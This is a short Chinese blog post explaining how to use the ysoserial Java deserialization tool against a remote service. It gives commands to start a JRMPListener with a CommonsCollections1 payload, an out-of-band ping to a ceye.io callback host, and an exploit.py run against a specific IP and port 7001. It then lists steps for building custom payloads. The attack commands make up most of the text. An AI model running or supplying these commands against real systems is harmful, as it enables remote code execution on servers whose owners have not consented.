反序列化工具ysoserial使用介绍

反序列化工具ysoserial使用介绍

0x00 ysoserial是什么?

ysoserial集合了各种java反序列化payload;
下载地址:https://github.com/angelwhu/ysoserial

0x01 基本使用方法

在公网vps上执行:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener  【port】 CommonsCollections1 '【commands】'

port:公网vps上监听的端口号
commands:需要执行的命令
例子:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2  rce.267hqw.ceye.io'

重启一个shell窗口:

python exploit.py 【目标ip】 【目标端口】 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 【JRMPListener ip】  【JRMPListener port】 JRMPClient

列子:

python exploit.py 118.89.53.139  7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 118.89.53.139  1099 JRMPClient

0x02 在ysoserial编写自己的payload

  1. git clone https://github.com/fanyingjie2/ysoserial.git
  2. 将自己编写的payload放在下载的包中:路径ysoserial/src/main/java/ysoserial/payloads/
  3. 修改Dockerfile:反序列化工具ysoserial使用介绍
  4. docker build -t ysoserial .
  5. docker run -ti ID号 /bin/bash
  6. 在docke中执行 apt-get update
  7. 在docker中执行apt-get install lrzsz
  8. sz target/ysoserial.jar

其他JAVA常见的反序列化工具包括Freddy/ysoserial/marshalsec等

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值